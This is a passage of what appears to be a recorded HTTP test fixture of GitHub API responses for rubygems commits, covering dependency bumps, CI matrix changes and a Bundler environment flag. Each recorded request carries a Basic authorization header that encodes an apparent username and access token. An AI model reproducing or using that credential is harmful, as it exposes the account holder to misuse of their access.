assertions, \\d+ failures, \\d+ errors/\n-\n- at.add_exception %r%/\\.git/%\n- at.add_exception %r%\\.rbc$%\n- at.add_exception %r%test/rubygems/rubygems%\n-\n- at.find_directories.clear\n- at.find_directories.push ''lib'', ''test''\n-\n- at.add_mapping %r%^lib/rubygems.rb$% do |_, m|\n- \"test/rubygems/test_gem.rb\"\n- end\n-\n- at.add_mapping %r%^lib/rubygems/(.*).rb$% do |_, m|\n- \"test/rubygems/test_gem_#{m[1].gsub ''/'', ''_''}.rb\"\n- end\n-\n- args = ARGV.reject { |a| a =~ /^-/ }\n- at.find_directories = args unless args.empty?\n-\n- def at.handle_results results\n- results = results.gsub(/\\e\\[\\d+m/, '''') # strip ascii color\n- failed = results.scan(self.failed_results_re).map { |m, k|\n- /(?\\w+)#(?\\w+)/ =~ m\n- [m, k]\n- }\n-\n- completed = results[self.completed_re]\n-\n- if completed then\n- completed = completed.scan(/(\\d+) (\\w+)/).map { |v, k| [k, v.to_i] }\n-\n- self.latest_results = Hash[*completed.flatten]\n- self.files_to_test = consolidate_failures failed\n-\n- color = failed.empty? ? :green : :red\n- hook color unless $TESTING\n- else\n- self.latest_results = nil\n- end\n-\n- self.tainted = true unless self.files_to_test.empty?\n- end\n-\n- def at.path_to_classname s\n- sep = File::SEPARATOR\n-\n- f = s.sub(/^test#{sep}rubygems#{sep}/, '''').sub(/\\.rb$/, '''').split sep\n-\n- f = f.map { |path| path.split(/_|(\\d+)/).map { |seg| seg.capitalize }.join }\n-\n- f.join(''::'').\n- gsub(''Rdoc'', ''RDoc'').\n- gsub(''GemDependencyApi'', ''GemDependencyAPI'')\n- end\n-end"},{"sha":"874231e65bf950ab8cf023ea9f5342115b9fbd16","filename":"Rakefile","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/bfb2b1a44a891bc61e7671b682b238c83e8d38be/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/bfb2b1a44a891bc61e7671b682b238c83e8d38be/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=bfb2b1a44a891bc61e7671b682b238c83e8d38be","patch":"@@ -66,7 +66,6 @@ hoe = Hoe.spec ''rubygems-update'' do\n dependency ''builder'', ''~> 2.1'', :dev\n dependency ''hoe-seattlerb'', ''~> 1.2'', :dev\n dependency ''rdoc'', ''~> 4.0'', :dev\n- dependency ''ZenTest'', ''~> 4.5'', :dev\n dependency ''rake'', ''~> 10.5'', :dev\n dependency ''minitest'', ''~> 4.0'', :dev\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:38 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/2e18d6557a05440706b4e8cf769675b8846aee85 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:38 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4599' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bbc313b7271153203dbc9f2780a16b12" Last-Modified: - Tue, 26 Dec 2017 06:16:49 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050501' X-Github-Request-Id: - C44C:4D95:F47955:1C82DF4:5A50E45A body: encoding: ASCII-8BIT string: '{"sha":"2e18d6557a05440706b4e8cf769675b8846aee85","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:16:49Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:16:49Z"},"message":"Relax minitest version for 5.","tree":{"sha":"60b419f7eb748f8a16299d84a57fc78e18088bbd","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/60b419f7eb748f8a16299d84a57fc78e18088bbd"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2e18d6557a05440706b4e8cf769675b8846aee85","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpB6V4ACgkQ+c8TQXJk\n+sLlswgAwf7q8UJio7xdicjc17wx3fd/Qt71l7NQbPMwAjs/crzX4a+l3f5RG6Qu\nGQ/vOUngwaPZ8Ike9/jv8k4N4D4U61dcLkauqIxZaGptRIRi0DCE/VqMNIYpRpVp\n12MCihROtl6v2NZPJ3ZetEZoRLVT8vJym5sA8p9LFjtZWaSI6m7K0zcQp1QMPdtI\nSI3CfnlYr/ksuGr19KKdiCsslENL4ptDQELnjhiZCASlbQELA064vdfSAwL2xOeB\n0TSfk/fzF3BAP3aISTTPZFY9pbrsxfq7LSld2QYaKyHUclKwYsU2KVGgEZJ1l5ad\nXCuei6nmCnk+jjjgZIwjoNVMPOipXQ==\n=o2PJ\n-----END PGP SIGNATURE-----","payload":"tree 60b419f7eb748f8a16299d84a57fc78e18088bbd\nparent ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443\nauthor SHIBATA Hiroshi 1514269009 +0900\ncommitter SHIBATA Hiroshi 1514269009 +0900\n\nRelax minitest version for 5.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2e18d6557a05440706b4e8cf769675b8846aee85","html_url":"https://github.com/rubygems/rubygems/commit/2e18d6557a05440706b4e8cf769675b8846aee85","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2e18d6557a05440706b4e8cf769675b8846aee85/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","html_url":"https://github.com/rubygems/rubygems/commit/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"baeff6fc3e4b0a194df325b48a2aa20aa9a84757","filename":"Rakefile","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/2e18d6557a05440706b4e8cf769675b8846aee85/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/2e18d6557a05440706b4e8cf769675b8846aee85/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=2e18d6557a05440706b4e8cf769675b8846aee85","patch":"@@ -68,7 +68,7 @@ hoe = Hoe.spec ''rubygems-update'' do\n dependency ''rdoc'', ''~> 4.0'', :dev\n dependency ''ZenTest'', ''~> 4.5'', :dev\n dependency ''rake'', ''~> 10.5'', :dev\n- dependency ''minitest'', ''~> 4.0'', :dev\n+ dependency ''minitest'', ''~> 5.0'', :dev\n \n self.extra_rdoc_files = Dir[\"*.rdoc\"] + %w[\n CVE-2013-4287.txt\n@@ -101,7 +101,7 @@ v = hoe.version\n \n hoe.testlib = :minitest\n hoe.test_prelude = <<-RUBY.gsub(\"\\n\", \";\")\n- gem \"minitest\", \"~> 4.0\"\n+ gem \"minitest\", \"~> 5.0\"\n $:.unshift #{File.expand_path(\"../bundler/lib\", __FILE__).dump}\n if \"1.8\" < RUBY_VERSION && RUBY_VERSION < \"2.2\"\n module Gem\n@@ -152,7 +152,7 @@ task(:newb).prerequisites.unshift \"bundler:checkout\"\n \n desc \"Install gems needed to run the tests\"\n task :install_test_deps => :clean do\n- sh \"gem install minitest -v ''~> 4.0''\"\n+ sh \"gem install minitest -v ''~> 5.0''\"\n end\n \n begin"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:38 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:38 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4598' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"868db94c87a1da495a5a64648bb18f06" Last-Modified: - Tue, 26 Dec 2017 03:54:31 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045290' X-Github-Request-Id: - A17E:4D94:4EFE25:B2FE09:5A50E45A body: encoding: ASCII-8BIT string: '{"sha":"f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-12-26T03:54:31Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-12-26T03:54:31Z"},"message":"[Travis] Test against Ruby 2.5","tree":{"sha":"52186275b933dfea9271e663e2de383b28e376d6","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/52186275b933dfea9271e663e2de383b28e376d6"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJaQcf3AAoJEAEZW7MV3ahWCcYP/3A6rVhn7LtaOyZsmYry4md1\n+vjK9gQR42CxlWYWB8oTyGmYqPNKGt1Xs3GajrshuDU4cogf4fa9yoeaNTuIGJkj\noBtbG1RuhQAybLm6ek8+pyuzdTIYLXK/DJOtNMFjS36vQtCxKC2HEsM5+hB/vUkM\nvUg4UmjtElh0B8SXSuFDiB7HeZFfrHKWI/dGxHtsxs8y9Eepv46Y9yuqH0+mocSV\nMeaKezGcgUKk1Or4nMYaYWCPvYd600WCMKjMzk70xc/wIl+k/vZ9JW1fEOCmQmX3\nBoKUrHwERL68nz1W1Xwi6Oe6VX8lwFSGV5BLmXOlbJKq1fMlazK5FwoKtpn51+bX\nh7ChLDvgsKp60sN1sWRcINL5+0Q13X2xZ+D9aP9C3PKIJs3u3u9osdOFcMk4y6ds\nWY+V1PC3sb6n+Lclqkvr5IjNPOsxWdh18Cg1H55L3Sa1oc7QqQSu98iqB3mkhMaa\nBqSFxY82WORikP/tmJqkZBwmt8lxoW/ESp8BbAI90ZvB1QQIu23XCldDIfYUd+S2\n8gt7Mm78Iq56gJqppBABDTOkLDvwJ/entndmZgFH0B2phRA/axMV8oIw1ZewWV/K\nQneIaljv62GoKX/ODqSSU6SgcZXoAjvIyP2EhIBd4LJsTE8/hRasZn9QKLT3oBOv\nkaSH1JeRRzQ8UqWpdx3j\n=RxwT\n-----END PGP SIGNATURE-----","payload":"tree 52186275b933dfea9271e663e2de383b28e376d6\nparent ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443\nauthor Samuel Giddins 1514260471 +0700\ncommitter Samuel Giddins 1514260471 +0700\n\n[Travis] Test against Ruby 2.5\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","html_url":"https://github.com/rubygems/rubygems/commit/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","html_url":"https://github.com/rubygems/rubygems/commit/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443"}],"stats":{"total":3,"additions":3,"deletions":0},"files":[{"sha":"7310774f8947fdbfc599df4f8d0f06205d5dd82d","filename":".travis.yml","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=f51ac8f23efc6cf038ab73bba39c0ae9392d8fa6","patch":"@@ -21,6 +21,7 @@ rvm:\n - 2.2.9\n - 2.3.6\n - 2.4.3\n+- 2.5.0\n - ruby-head\n env:\n - \"TEST_TOOL=rubygems YAML=syck\"\n@@ -44,6 +45,8 @@ matrix:\n env: \"TEST_TOOL=rubygems YAML=syck\"\n - rvm: 2.4.3\n env: \"TEST_TOOL=rubygems YAML=syck\"\n+ - rvm: 2.5.0\n+ env: \"TEST_TOOL=rubygems YAML=syck\"\n - rvm: ruby-head\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:38 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:38 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4597' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5db4de45587732b730f6e7e96ca22ec7" Last-Modified: - Tue, 26 Dec 2017 01:17:54 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048722' X-Github-Request-Id: - A180:4D95:F4796A:1C82E19:5A50E45A body: encoding: ASCII-8BIT string: '{"sha":"ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T01:17:54Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T01:17:54Z"},"message":"Auto merge of #2126 - rubygems:fix-broken-tests-with-bundler-gemdeps, r=hsbt\n\nSet whether bundler is used for gemdeps with an environmental variable\n\nIf we confirm to work test suite without vendored bundler and `Gem::USE_BUNDLER_FOR_GEMDEPS = false`, We got a `LoadError` of bundler files and `uninitialized constant Bundler` error.\n\nIt''s better to separate test environment until completely merging bundler.","tree":{"sha":"08c5124bab942927bf20f03075c20f3358d4a841","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/08c5124bab942927bf20f03075c20f3358d4a841"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","html_url":"https://github.com/rubygems/rubygems/commit/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"bf6853f99c423724a691ffa545b562569845e6fa","url":"https://api.github.com/repos/rubygems/rubygems/commits/bf6853f99c423724a691ffa545b562569845e6fa","html_url":"https://github.com/rubygems/rubygems/commit/bf6853f99c423724a691ffa545b562569845e6fa"},{"sha":"32dbca01d96e6f99c9339c3ff961da934e158003","url":"https://api.github.com/repos/rubygems/rubygems/commits/32dbca01d96e6f99c9339c3ff961da934e158003","html_url":"https://github.com/rubygems/rubygems/commit/32dbca01d96e6f99c9339c3ff961da934e158003"}],"stats":{"total":27,"additions":18,"deletions":9},"files":[{"sha":"960d022a58a76cff3157ec41ab0755ea710b9925","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","patch":"@@ -176,7 +176,7 @@ module Gem\n write_binary_errors\n end.freeze\n \n- USE_BUNDLER_FOR_GEMDEPS = true # :nodoc:\n+ USE_BUNDLER_FOR_GEMDEPS = !ENV[''DONT_USE_BUNDLER_FOR_GEMDEPS''] # :nodoc:\n \n @@win_platform = nil\n "},{"sha":"f6cf5e94e34916716018c5406c2fa227f25c9e83","filename":"lib/rubygems/test_case.rb","status":"modified","additions":9,"deletions":3,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/lib/rubygems/test_case.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/lib/rubygems/test_case.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_case.rb?ref=ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","patch":"@@ -25,7 +25,9 @@\n gem ''json''\n end\n \n-require ''bundler''\n+if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ require ''bundler''\n+end\n require ''minitest/autorun''\n \n require ''rubygems/deprecate''\n@@ -235,7 +237,9 @@ def setup\n @current_dir = Dir.pwd\n @fetcher = nil\n \n- Bundler.ui = Bundler::UI::Silent.new\n+ if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ Bundler.ui = Bundler::UI::Silent.new\n+ end\n @back_ui = Gem::DefaultUserInteraction.ui\n @ui = Gem::MockGemUi.new\n # This needs to be a new instance since we call use_ui(@ui) when we want to\n@@ -331,7 +335,9 @@ def setup\n Gem.loaded_specs.clear\n Gem.clear_default_specs\n Gem::Specification.unresolved_deps.clear\n- Bundler.reset!\n+ if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ Bundler.reset!\n+ end\n \n Gem.configuration.verbose = true\n Gem.configuration.update_sources = true"},{"sha":"0d71db9d790acd1b782dabc035e9092fc920d763","filename":"test/rubygems/test_gem.rb","status":"modified","additions":8,"deletions":5,"changes":13,"blob_url":"https://github.com/rubygems/rubygems/blob/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","patch":"@@ -1480,8 +1480,11 @@ def test_auto_activation_of_detected_gemdeps_file\n end\n \n LIB_PATH = File.expand_path \"../../../lib\".dup.untaint, __FILE__.dup.untaint\n- BUNDLER_LIB_PATH = File.expand_path $LOAD_PATH.find {|lp| File.file?(File.join(lp, \"bundler.rb\")) }.dup.untaint\n- BUNDLER_FULL_NAME = \"bundler-#{Bundler::VERSION}\"\n+\n+ if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ BUNDLER_LIB_PATH = File.expand_path $LOAD_PATH.find {|lp| File.file?(File.join(lp, \"bundler.rb\")) }.dup.untaint\n+ BUNDLER_FULL_NAME = \"bundler-#{Bundler::VERSION}\"\n+ end\n \n def add_bundler_full_name(names)\n return names unless Gem::USE_BUNDLER_FOR_GEMDEPS\n@@ -1529,7 +1532,7 @@ def test_looks_for_gemdeps_files_automatically_on_start\n out = IO.popen(cmd, &:read).split(/\\n/)\n \n assert_equal [\"b-1\", \"c-1\"], out - out0\n- end\n+ end if Gem::USE_BUNDLER_FOR_GEMDEPS\n \n def test_looks_for_gemdeps_files_automatically_on_start_in_parent_dir\n util_clear_gems\n@@ -1574,7 +1577,7 @@ def test_looks_for_gemdeps_files_automatically_on_start_in_parent_dir\n Dir.rmdir \"sub1\"\n \n assert_equal [\"b-1\", \"c-1\"], out - out0\n- end\n+ end if Gem::USE_BUNDLER_FOR_GEMDEPS\n \n def test_register_default_spec\n Gem.clear_default_specs\n@@ -1775,7 +1778,7 @@ def test_use_gemdeps_missing_gem\n end\n ensure\n ENV[''RUBYGEMS_GEMDEPS''] = rubygems_gemdeps\n- end\n+ end if Gem::USE_BUNDLER_FOR_GEMDEPS\n \n def test_use_gemdeps_specific\n skip ''Insecure operation - read'' if RUBY_VERSION <= \"1.8.7\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:38 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/bf6853f99c423724a691ffa545b562569845e6fa body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:38 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4596' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e3e4d4c4380dfa957c71eead91d40a4a" Last-Modified: - Tue, 26 Dec 2017 00:40:59 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.047901' X-Github-Request-Id: - A182:4D95:F47974:1C82E25:5A50E45A body: encoding: ASCII-8BIT string: '{"sha":"bf6853f99c423724a691ffa545b562569845e6fa","commit":{"author":{"name":"SHIBATA 